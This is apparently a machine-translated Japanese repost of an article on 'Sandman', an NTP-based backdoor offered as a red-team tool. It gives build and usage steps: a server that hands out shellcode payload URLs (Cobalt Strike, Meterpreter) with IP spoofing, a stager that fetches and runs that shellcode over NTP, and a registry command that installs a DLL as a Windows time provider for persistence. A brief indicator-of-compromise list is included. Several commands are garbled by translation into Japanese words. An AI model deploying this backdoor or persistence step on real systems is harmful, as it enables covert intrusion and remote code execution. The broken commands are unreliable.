Sandman: NTP プロトコルに基づくレッドチームのバックドア調査ツール

サンドマンについて

Sandman は、セキュリティが強化されたネットワーク システムで研究者がレッド チームのタスクを実行するのに役立つ強力な NTP ベースのバックドア ツールです。

Sandman は、NTP (コンピュータの時刻と日付を同期するためのプロトコル) を使用して、事前定義されたサーバーから任意のシェル コードを取得して実行する Stager として使用できます。

NTP プロトコルは多くのセキュリティ防御者によって無視されることが多いため、多くのネットワーク システムは NTP を検出しません。

特徴

1. 研究者が管理するサーバーからペイロードを取得して実行することが許可されています。

2. NTP プロトコルは通常、ネットワーク ファイアウォール システムで許可されているため、セキュリティが強化されたネットワーク システムで使用できます。

3. IP スプーフィング技術による正規の NTP サーバーのシミュレートのサポート。

ツールのインストール

まず、次のコマンドを使用して、プロジェクトのソース コードをローカルにクローンする必要があります。

git クローン https://github.com/Idov31/Sandman.git

サンドマンサーバー

サーバー側に Python 3.9 環境をインストールして構成し、プロジェクトによって提供される要件.txtファイルと pip3 コマンドを使用して、Sandman サーバーに必要な依存コンポーネントを構成する必要があります。

cd Sandman 

pip3 インストール要件.txt

サンドマンバックドア

プロジェクトを Visual Studio にインポートし、USE_SHELLCODE を使用してコードのコンパイルを完了します。

サンドマンバックドア時間プロバイダー

まず、DllExportをインストールし、次にプロジェクトを Visual Studio にインポートし、USE_SHELLCODE を使用してコードのコンパイルを完了します。

ツールの使用

SandmanServer が使用するもの

Windows または Unix 類似のデバイスで次のコマンドを実行します。

python3 Sandman_server.py "ネットワーク アダプター" "ペイロード URL" "オプション: スプーフィングする IP"

このうち、ネットワーク アダプターは、イーサネット、eth0 など、サーバーによって監視する必要があるネットワーク アダプターです。ペイロード URL は、CobaltStrike、Meterpreter、またはその他の Stager などのシェルコードをホストする URL アドレスです。IP からスプーフ、 IP アドレス スプーフィング (シミュレーション) を実行する場合は、このオプションを使用できます。

サンドマンバックドアの使用

まず、SandmanBackdoor のコンパイルを完了する必要があります。次に、これは軽量のスタンドアロン C2 実行可能ファイルであるため、ExecuteAssembly 経由で直接実行できます。

SandmanBackdoorTimeProvider使用

SandmanBackdoorTimeProvider を使用するには、次の手順に従います。

まず、次のレジストリ キーを追加します。

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\Path\To\TheDll.dll"

次に、w32time サービスを再起動します。

sc 停止 w32time 

sc 開始 w32time

注: ツールのソース コードをコンパイルするには、必ず x64 オプションを使用してください。

ツール実行中のスクリーンショット

侵入脅威インジケーター IoC

1. ツールはシェルコードを RuntimeBroker に挿入します。

2. NTP 通信は不審なヘッダーを使用します。

3. YARA ルールを使用して検出できます。

ライセンス契約

このプロジェクトの開発とリリースは、BSD-2-Clauseライセンス契約に従います。

おすすめ

転載: blog.csdn.net/FreeBuf_/article/details/127851935#comments_24156675